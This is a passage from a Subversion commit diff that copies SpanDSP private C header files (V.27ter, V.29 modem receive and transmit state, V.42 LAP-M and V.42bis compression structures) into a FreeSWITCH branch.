+#if V27TER_RX_4800_FILTER_STEPS > V27TER_RX_2400_FILTER_STEPS
+#define V27TER_RX_FILTER_STEPS V27TER_RX_4800_FILTER_STEPS
+#else
+#define V27TER_RX_FILTER_STEPS V27TER_RX_2400_FILTER_STEPS
+#endif
+
+/*!
+    V.27ter modem receive side descriptor. This defines the working state for a
+    single instance of a V.27ter modem receiver.
+*/
+struct v27ter_rx_state_s
+{
+    /*! \brief The bit rate of the modem. Valid values are 2400 and 4800. */
+    int bit_rate;
+    /*! \brief The callback function used to put each bit received. */
+    put_bit_func_t put_bit;
+    /*! \brief A user specified opaque pointer passed to the put_bit routine. */
+    void *put_bit_user_data;
+
+    /*! \brief The callback function used to report modem status changes. */
+    modem_rx_status_func_t status_handler;
+    /*! \brief A user specified opaque pointer passed to the status function. */
+    void *status_user_data;
+
+    /*! \brief A callback function which may be enabled to report every symbol's
+               constellation position. */
+    qam_report_handler_t qam_report;
+    /*! \brief A user specified opaque pointer passed to the qam_report callback
+               routine. */
+    void *qam_user_data;
+
+    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
+#if defined(SPANDSP_USE_FIXED_POINT)
+    int16_t rrc_filter[V27TER_RX_FILTER_STEPS];
+#else
+    float rrc_filter[V27TER_RX_FILTER_STEPS];
+#endif
+    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
+    int rrc_filter_step;
+
+    /*! \brief The register for the training and data scrambler. */
+    unsigned int scramble_reg;
+    /*! \brief A counter for the number of consecutive bits of repeating pattern through
+               the scrambler. */
+    int scrambler_pattern_count;
+    /*! \brief The current step in the table of BC constellation positions. */
+    int training_bc;
+    /*! \brief TRUE if the previous trained values are to be reused. */
+    int old_train;
+    /*! \brief The section of the training data we are currently in. */
+    int training_stage;
+    /*! \brief A count of how far through the current training step we are. */
+    int training_count;
+    /*! \brief A measure of how much mismatch there is between the real constellation,
+        and the decoded symbol positions. */
+    float training_error;
+    /*! \brief The value of the last signal sample, using the a simple HPF for signal power estimation. */
+    int16_t last_sample;
+    /*! \brief >0 if a signal above the minimum is present. It may or may not be a V.27ter signal. */
+    int signal_present;
+    /*! \brief Whether or not a carrier drop was detected and the signal delivery is pending. */
+    int carrier_drop_pending;
+    /*! \brief A count of the current consecutive samples below the carrier off threshold. */
+    int low_samples;
+    /*! \brief A highest magnitude sample seen. */
+    int16_t high_sample;
+
+    /*! \brief The position of the current symbol in the constellation, used for
+               differential decoding. */
+    int constellation_state;
+
+    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
+    uint32_t carrier_phase;
+    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
+    int32_t carrier_phase_rate;
+    /*! \brief The carrier update rate saved for reuse when using short training. */
+    int32_t carrier_phase_rate_save;
+#if defined(SPANDSP_USE_FIXED_POINTx)
+    /*! \brief The proportional part of the carrier tracking filter. */
+    float carrier_track_p;
+    /*! \brief The integral part of the carrier tracking filter. */
+    float carrier_track_i;
+#else
+    /*! \brief The proportional part of the carrier tracking filter. */
+    float carrier_track_p;
+    /*! \brief The integral part of the carrier tracking filter. */
+    float carrier_track_i;
+#endif
+
+    /*! \brief A power meter, to measure the HPF'ed signal power in the channel. */    
+    power_meter_t power;
+    /*! \brief The power meter level at which carrier on is declared. */
+    int32_t carrier_on_power;
+    /*! \brief The power meter level at which carrier off is declared. */
+    int32_t carrier_off_power;
+
+    /*! \brief Current read offset into the equalizer buffer. */
+    int eq_step;
+    /*! \brief Current write offset into the equalizer buffer. */
+    int eq_put_step;
+    /*! \brief Symbol counter to the next equalizer update. */
+    int eq_skip;
+
+    /*! \brief The current half of the baud. */
+    int baud_half;
+
+#if defined(SPANDSP_USE_FIXED_POINT)
+    /*! \brief The scaling factor accessed by the AGC algorithm. */
+    int16_t agc_scaling;
+    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
+    int16_t agc_scaling_save;
+
+    /*! \brief The current delta factor for updating the equalizer coefficients. */
+    float eq_delta;
+    /*! \brief The adaptive equalizer coefficients. */
+    /*complexi16_t*/ complexf_t  eq_coeff[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
+    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
+    /*complexi16_t*/ complexf_t  eq_coeff_save[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
+    /*! \brief The equalizer signal buffer. */
+    /*complexi16_t*/ complexf_t eq_buf[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
+#else
+    /*! \brief The scaling factor accessed by the AGC algorithm. */
+    float agc_scaling;
+    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
+    float agc_scaling_save;
+
+    /*! \brief The current delta factor for updating the equalizer coefficients. */
+    float eq_delta;
+    /*! \brief The adaptive equalizer coefficients. */
+    complexf_t eq_coeff[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
+    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
+    complexf_t eq_coeff_save[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
+    /*! \brief The equalizer signal buffer. */
+    complexf_t eq_buf[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
+#endif
+
+    /*! \brief Integration variable for damping the Gardner algorithm tests. */
+    int gardner_integrate;
+    /*! \brief Current step size of Gardner algorithm integration. */
+    int gardner_step;
+    /*! \brief The total symbol timing correction since the carrier came up.
+               This is only for performance analysis purposes. */
+    int total_baud_timing_correction;
+
+    /*! \brief Starting phase angles for the coarse carrier aquisition step. */
+    int32_t start_angles[2];
+    /*! \brief History list of phase angles for the coarse carrier aquisition step. */
+    int32_t angles[16];
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v27ter_tx.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v27ter_tx.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/v27ter_tx.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v27ter_tx.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v27ter_tx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,98 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/v27ter_tx.h - ITU V.27ter modem transmit part
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v27ter_tx.h,v 1.3 2009/07/09 13:52:09 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_V27TER_TX_H_)
+#define _SPANDSP_PRIVATE_V27TER_TX_H_
+
+/*! The number of taps in the pulse shaping/bandpass filter */
+#define V27TER_TX_FILTER_STEPS      9
+
+/*!
+    V.27ter modem transmit side descriptor. This defines the working state for a
+    single instance of a V.27ter modem transmitter.
+*/
+struct v27ter_tx_state_s
+{
+    /*! \brief The bit rate of the modem. Valid values are 2400 and 4800. */
+    int bit_rate;
+    /*! \brief The callback function used to get the next bit to be transmitted. */
+    get_bit_func_t get_bit;
+    /*! \brief A user specified opaque pointer passed to the get_bit function. */
+    void *get_bit_user_data;
+
+    /*! \brief The callback function used to report modem status changes. */
+    modem_tx_status_func_t status_handler;
+    /*! \brief A user specified opaque pointer passed to the status function. */
+    void *status_user_data;
+
+#if defined(SPANDSP_USE_FIXED_POINT)
+    /*! \brief The gain factor needed to achieve the specified output power at 2400bps. */
+    int32_t gain_2400;
+    /*! \brief The gain factor needed to achieve the specified output power at 4800bps. */
+    int32_t gain_4800;
+#else
+    /*! \brief The gain factor needed to achieve the specified output power at 2400bps. */
+    float gain_2400;
+    /*! \brief The gain factor needed to achieve the specified output power at 4800bps. */
+    float gain_4800;
+#endif
+    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
+#if defined(SPANDSP_USE_FIXED_POINT)
+    complexi16_t rrc_filter[2*V27TER_TX_FILTER_STEPS];
+#else
+    complexf_t rrc_filter[2*V27TER_TX_FILTER_STEPS];
+#endif
+    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
+    int rrc_filter_step;
+    
+    /*! \brief The register for the training and data scrambler. */
+    unsigned int scramble_reg;
+    /*! \brief A counter for the number of consecutive bits of repeating pattern through
+               the scrambler. */
+    int scrambler_pattern_count;
+    /*! \brief TRUE if transmitting the training sequence, or shutting down transmission.
+               FALSE if transmitting user data. */
+    int in_training;
+    /*! \brief A counter used to track progress through sending the training sequence. */
+    int training_step;
+
+    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
+    uint32_t carrier_phase;
+    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
+    int32_t carrier_phase_rate;
+    /*! \brief The current fractional phase of the baud timing. */
+    int baud_phase;
+    /*! \brief The code number for the current position in the constellation. */
+    int constellation_state;
+    /*! \brief The get_bit function in use at any instant. */
+    get_bit_func_t current_get_bit;
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v29rx.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v29rx.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/v29rx.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v29rx.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v29rx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,201 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/v29rx.h - ITU V.29 modem receive part
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v29rx.h,v 1.2 2009/07/09 13:52:09 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_V29RX_H_)
+#define _SPANDSP_PRIVATE_V29RX_H_
+
+/* Target length for the equalizer is about 63 taps, to deal with the worst stuff
+   in V.56bis. */
+/*! Samples before the target position in the equalizer buffer */
+#define V29_EQUALIZER_PRE_LEN   16
+/*! Samples after the target position in the equalizer buffer */
+#define V29_EQUALIZER_POST_LEN  14
+
+/*! The number of taps in the pulse shaping/bandpass filter */
+#define V29_RX_FILTER_STEPS     27
+
+/*!
+    V.29 modem receive side descriptor. This defines the working state for a
+    single instance of a V.29 modem receiver.
+*/
+struct v29_rx_state_s
+{
+    /*! \brief The bit rate of the modem. Valid values are 4800, 7200 and 9600. */
+    int bit_rate;
+    /*! \brief The callback function used to put each bit received. */
+    put_bit_func_t put_bit;
+    /*! \brief A user specified opaque pointer passed to the put_bit routine. */
+    void *put_bit_user_data;
+
+    /*! \brief The callback function used to report modem status changes. */
+    modem_rx_status_func_t status_handler;
+    /*! \brief A user specified opaque pointer passed to the status function. */
+    void *status_user_data;
+
+    /*! \brief A callback function which may be enabled to report every symbol's
+               constellation position. */
+    qam_report_handler_t qam_report;
+    /*! \brief A user specified opaque pointer passed to the qam_report callback
+               routine. */
+    void *qam_user_data;
+
+    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
+#if defined(SPANDSP_USE_FIXED_POINT)
+    int16_t rrc_filter[V29_RX_FILTER_STEPS];
+#else
+    float rrc_filter[V29_RX_FILTER_STEPS];
+#endif
+    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
+    int rrc_filter_step;
+
+    /*! \brief The register for the data scrambler. */
+    unsigned int scramble_reg;
+    /*! \brief The register for the training scrambler. */
+    uint8_t training_scramble_reg;
+    /*! \brief The current step in the table of CD constellation positions. */
+    int training_cd;
+    /*! \brief TRUE if the previous trained values are to be reused. */
+    int old_train;
+    /*! \brief The section of the training data we are currently in. */
+    int training_stage;
+    /*! \brief A count of how far through the current training step we are. */
+    int training_count;
+    /*! \brief A measure of how much mismatch there is between the real constellation,
+        and the decoded symbol positions. */
+    float training_error;
+    /*! \brief The value of the last signal sample, using the a simple HPF for signal power estimation. */
+    int16_t last_sample;
+    /*! \brief >0 if a signal above the minimum is present. It may or may not be a V.29 signal. */
+    int signal_present;
+    /*! \brief Whether or not a carrier drop was detected and the signal delivery is pending. */
+    int carrier_drop_pending;
+    /*! \brief A count of the current consecutive samples below the carrier off threshold. */
+    int low_samples;
+    /*! \brief A highest magnitude sample seen. */
+    int16_t high_sample;
+
+    /*! \brief The position of the current symbol in the constellation, used for
+               differential decoding. */
+    int constellation_state;
+
+    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
+    uint32_t carrier_phase;
+    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
+    int32_t carrier_phase_rate;
+    /*! \brief The carrier update rate saved for reuse when using short training. */
+    int32_t carrier_phase_rate_save;
+#if defined(SPANDSP_USE_FIXED_POINT)
+    /*! \brief The proportional part of the carrier tracking filter. */
+    int32_t carrier_track_p;
+    /*! \brief The integral part of the carrier tracking filter. */
+    int32_t carrier_track_i;
+#else
+    /*! \brief The proportional part of the carrier tracking filter. */
+    float carrier_track_p;
+    /*! \brief The integral part of the carrier tracking filter. */
+    float carrier_track_i;
+#endif
+
+    /*! \brief A power meter, to measure the HPF'ed signal power in the channel. */    
+    power_meter_t power;
+    /*! \brief The power meter level at which carrier on is declared. */
+    int32_t carrier_on_power;
+    /*! \brief The power meter level at which carrier off is declared. */
+    int32_t carrier_off_power;
+
+    /*! \brief Current read offset into the equalizer buffer. */
+    int eq_step;
+    /*! \brief Current write offset into the equalizer buffer. */
+    int eq_put_step;
+    /*! \brief Symbol counter to the next equalizer update. */
+    int eq_skip;
+
+    /*! \brief The current half of the baud. */
+    int baud_half;
+
+#if defined(SPANDSP_USE_FIXED_POINT)
+    /*! \brief The scaling factor accessed by the AGC algorithm. */
+    int16_t agc_scaling;
+    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
+    int16_t agc_scaling_save;
+
+    /*! \brief The current delta factor for updating the equalizer coefficients. */
+    int16_t eq_delta;
+    /*! \brief The adaptive equalizer coefficients. */
+    complexi16_t eq_coeff[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
+    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
+    complexi16_t eq_coeff_save[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
+    /*! \brief The equalizer signal buffer. */
+    complexi16_t eq_buf[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
+
+    /*! Low band edge filter for symbol sync. */
+    int32_t symbol_sync_low[2];
+    /*! High band edge filter for symbol sync. */
+    int32_t symbol_sync_high[2];
+    /*! DC filter for symbol sync. */
+    int32_t symbol_sync_dc_filter[2];
+    /*! Baud phase for symbol sync. */
+    int32_t baud_phase;
+#else
+    /*! \brief The scaling factor accessed by the AGC algorithm. */
+    float agc_scaling;
+    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
+    float agc_scaling_save;
+
+    /*! \brief The current delta factor for updating the equalizer coefficients. */
+    float eq_delta;
+    /*! \brief The adaptive equalizer coefficients. */
+    complexf_t eq_coeff[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
+    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
+    complexf_t eq_coeff_save[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
+    /*! \brief The equalizer signal buffer. */
+    complexf_t eq_buf[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
+
+    /*! Low band edge filter for symbol sync. */
+    float symbol_sync_low[2];
+    /*! High band edge filter for symbol sync. */
+    float symbol_sync_high[2];
+    /*! DC filter for symbol sync. */
+    float symbol_sync_dc_filter[2];
+    /*! Baud phase for symbol sync. */
+    float baud_phase;
+#endif
+
+    /*! \brief The total symbol timing correction since the carrier came up.
+               This is only for performance analysis purposes. */
+    int total_baud_timing_correction;
+
+    /*! \brief Starting phase angles for the coarse carrier aquisition step. */
+    int32_t start_angles[2];
+    /*! \brief History list of phase angles for the coarse carrier aquisition step. */
+    int32_t angles[16];
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v29tx.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v29tx.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/v29tx.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v29tx.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v29tx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,100 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/v29tx.h - ITU V.29 modem transmit part
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v29tx.h,v 1.2 2009/07/09 13:52:09 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_V29TX_H_)
+#define _SPANDSP_PRIVATE_V29TX_H_
+
+/*! The number of taps in the pulse shaping/bandpass filter */
+#define V29_TX_FILTER_STEPS     9
+
+/*!
+    V.29 modem transmit side descriptor. This defines the working state for a
+    single instance of a V.29 modem transmitter.
+*/
+struct v29_tx_state_s
+{
+    /*! \brief The bit rate of the modem. Valid values are 4800, 7200 and 9600. */
+    int bit_rate;
+    /*! \brief The callback function used to get the next bit to be transmitted. */
+    get_bit_func_t get_bit;
+    /*! \brief A user specified opaque pointer passed to the get_bit function. */
+    void *get_bit_user_data;
+
+    /*! \brief The callback function used to report modem status changes. */
+    modem_tx_status_func_t status_handler;
+    /*! \brief A user specified opaque pointer passed to the status function. */
+    void *status_user_data;
+
+    /*! \brief Gain required to achieve the specified output power, not allowing
+               for the size of the current constellation. */
+    float base_gain;
+    /*! \brief Gain required to achieve the specified output power, allowing
+               for the size of the current constellation. */
+#if defined(SPANDSP_USE_FIXED_POINT)
+    int32_t gain;
+#else
+    float gain;
+#endif
+
+    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
+#if defined(SPANDSP_USE_FIXED_POINT)
+    complexi16_t rrc_filter[2*V29_TX_FILTER_STEPS];
+#else
+    complexf_t rrc_filter[2*V29_TX_FILTER_STEPS];
+#endif
+    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
+    int rrc_filter_step;
+
+    /*! \brief The register for the data scrambler. */
+    unsigned int scramble_reg;
+    /*! \brief The register for the training scrambler. */
+    uint8_t training_scramble_reg;
+    /*! \brief TRUE if transmitting the training sequence, or shutting down transmission.
+               FALSE if transmitting user data. */
+    int in_training;
+    /*! \brief A counter used to track progress through sending the training sequence. */
+    int training_step;
+    /*! \brief An offset value into the table of training parameters, used to match the
+               training pattern to the bit rate. */
+    int training_offset;
+
+    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
+    uint32_t carrier_phase;
+    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
+    int32_t carrier_phase_rate;
+    /*! \brief The current fractional phase of the baud timing. */
+    int baud_phase;
+    /*! \brief The code number for the current position in the constellation. */
+    int constellation_state;
+    /*! \brief The get_bit function in use at any instant. */
+    get_bit_func_t current_get_bit;
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v42.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v42.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/v42.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v42.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v42.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,119 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/v42.h
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v42.h,v 1.1 2008/11/15 14:43:08 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_V42_H_)
+#define _SPANDSP_PRIVATE_V42_H_
+
+/*!
+    LAP-M descriptor. This defines the working state for a single instance of LAP-M.
+*/
+struct lapm_state_s
+{
+    int handle;
+    hdlc_rx_state_t hdlc_rx;
+    hdlc_tx_state_t hdlc_tx;
+    
+    v42_frame_handler_t iframe_receive;
+    void *iframe_receive_user_data;
+
+    v42_status_func_t status_callback;
+    void *status_callback_user_data;
+
+    int state;
+    int tx_waiting;
+    int debug;
+    /*! TRUE if originator. FALSE if answerer */
+    int we_are_originator;
+    /*! Remote network type (unknown, answerer. originator) */
+    int peer_is_originator;
+    /*! Next N(S) for transmission */
+    int next_tx_frame;
+    /*! The last of our frames which the peer acknowledged */
+    int last_frame_peer_acknowledged;
+    /*! Next N(R) for reception */
+    int next_expected_frame;
+    /*! The last of the peer's frames which we acknowledged */
+    int last_frame_we_acknowledged;
+    /*! TRUE if we sent an I or S frame with the F-bit set */
+    int solicit_f_bit;
+    /*! Retransmission count */
+    int retransmissions;
+    /*! TRUE if peer is busy */
+    int busy;
+
+    /*! Acknowledgement timer */
+    int t401_timer;
+    /*! Reply delay timer - optional */
+    int t402_timer;
+    /*! Inactivity timer - optional */
+    int t403_timer;
+    /*! Maximum number of octets in an information field */
+    int n401;
+    /*! Window size */
+    int window_size_k;
+	
+    lapm_frame_queue_t *txqueue;
+    lapm_frame_queue_t *tx_next;
+    lapm_frame_queue_t *tx_last;
+    queue_state_t *tx_queue;
+    
+    span_sched_state_t sched;
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+/*!
+    V.42 descriptor. This defines the working state for a single instance of V.42.
+*/
+struct v42_state_s
+{
+    /*! TRUE if we are the calling party, otherwise FALSE */
+    int caller;
+    /*! TRUE if we should detect whether the far end is V.42 capable. FALSE if we go
+        directly to protocol establishment */
+    int detect;
+
+    /*! Stage in negotiating V.42 support */
+    int rx_negotiation_step;
+    int rxbits;
+    int rxstream;
+    int rxoks;
+    int odp_seen;
+    int txbits;
+    int txstream;
+    int txadps;
+    /*! The LAP.M context */
+    lapm_state_t lapm;
+
+    /*! V.42 support detection timer */
+    int t400_timer;
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v42bis.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v42bis.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/v42bis.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v42bis.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v42bis.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,151 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/v42bis.h
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2005 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v42bis.h,v 1.1 2008/11/15 14:43:08 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_V42BIS_H_)
+#define _SPANDSP_PRIVATE_V42BIS_H_
+
+/*!
+    V.42bis dictionary node.
+*/
+typedef struct
+{
+    /*! \brief The prior code for each defined code. */
+    uint16_t parent_code;
+    /*! \brief The number of leaf nodes this node has */
+    int16_t leaves;
+    /*! \brief This leaf octet for each defined code. */
+    uint8_t node_octet;
+    /*! \brief Bit map of the children which exist */
+    uint32_t children[8];
+} v42bis_dict_node_t;
+
+/*!
+    V.42bis compression. This defines the working state for a single instance
+    of V.42bis compression.
+*/
+typedef struct
+{
+    /*! \brief Compression mode. */
+    int compression_mode;
+    /*! \brief Callback function to handle received frames. */
+    v42bis_frame_handler_t handler;
+    /*! \brief An opaque pointer passed in calls to frame_handler. */
+    void *user_data;
+    /*! \brief The maximum frame length allowed */
+    int max_len;
+
+    uint32_t string_code;
+    uint32_t latest_code;
+    int string_length;
+    uint32_t output_bit_buffer;
+    int output_bit_count;
+    int output_octet_count;
+    uint8_t output_buf[1024];
+    v42bis_dict_node_t dict[V42BIS_MAX_CODEWORDS];
+    /*! \brief TRUE if we are in transparent (i.e. uncompressable) mode */
+    int transparent;
+    int change_transparency;
+    /*! \brief IIR filter state, used in assessing compressibility. */
+    int compressibility_filter;
+    int compressibility_persistence;
+    
+    /*! \brief Next empty dictionary entry */
+    uint32_t v42bis_parm_c1;
+    /*! \brief Current codeword size */
+    int v42bis_parm_c2;
+    /*! \brief Threshold for codeword size change */
+    uint32_t v42bis_parm_c3;
+
+    /*! \brief Mark that this is the first octet/code to be processed */
+    int first;
+    uint8_t escape_code;
+} v42bis_compress_state_t;
+
+/*!
+    V.42bis decompression. This defines the working state for a single instance
+    of V.42bis decompression.
+*/
+typedef struct
+{
+    /*! \brief Callback function to handle decompressed data. */
+    v42bis_data_handler_t handler;
+    /*! \brief An opaque pointer passed in calls to data_handler. */
+    void *user_data;
+    /*! \brief The maximum decompressed data block length allowed */
+    int max_len;
+
+    uint32_t old_code;
+    uint32_t last_old_code;
+    uint32_t input_bit_buffer;
+    int input_bit_count;
+    int octet;
+    int last_length;
+    int output_octet_count;
+    uint8_t output_buf[1024];
+    v42bis_dict_node_t dict[V42BIS_MAX_CODEWORDS];
+    /*! \brief TRUE if we are in transparent (i.e. uncompressable) mode */
+    int transparent;
+
+    int last_extra_octet;
+
+    /*! \brief Next empty dictionary entry */
+    uint32_t v42bis_parm_c1;
+    /*! \brief Current codeword size */
+    int v42bis_parm_c2;
+    /*! \brief Threshold for codeword size change */
+    uint32_t v42bis_parm_c3;
+        
+    /*! \brief Mark that this is the first octet/code to be processed */
+    int first;
+    uint8_t escape_code;
+    int escaped;
+} v42bis_decompress_state_t;
+
+/*!
+    V.42bis compression/decompression descriptor. This defines the working state for a
+    single instance of V.42bis compress/decompression.
+*/
+struct v42bis_state_s
+{
+    /*! \brief V.42bis data compression directions. */
+    int v42bis_parm_p0;
+
+    /*! \brief Compression state. */
+    v42bis_compress_state_t compress;
+    /*! \brief Decompression state. */
+    v42bis_decompress_state_t decompress;
+    
+    /*! \brief Maximum codeword size (bits) */
+    int v42bis_parm_n1;
+    /*! \brief Total number of codewords */
+    uint32_t v42bis_parm_n2;
+    /*! \brief Maximum string length */
+    int v42bis_parm_n7;
+};
+
+#endif
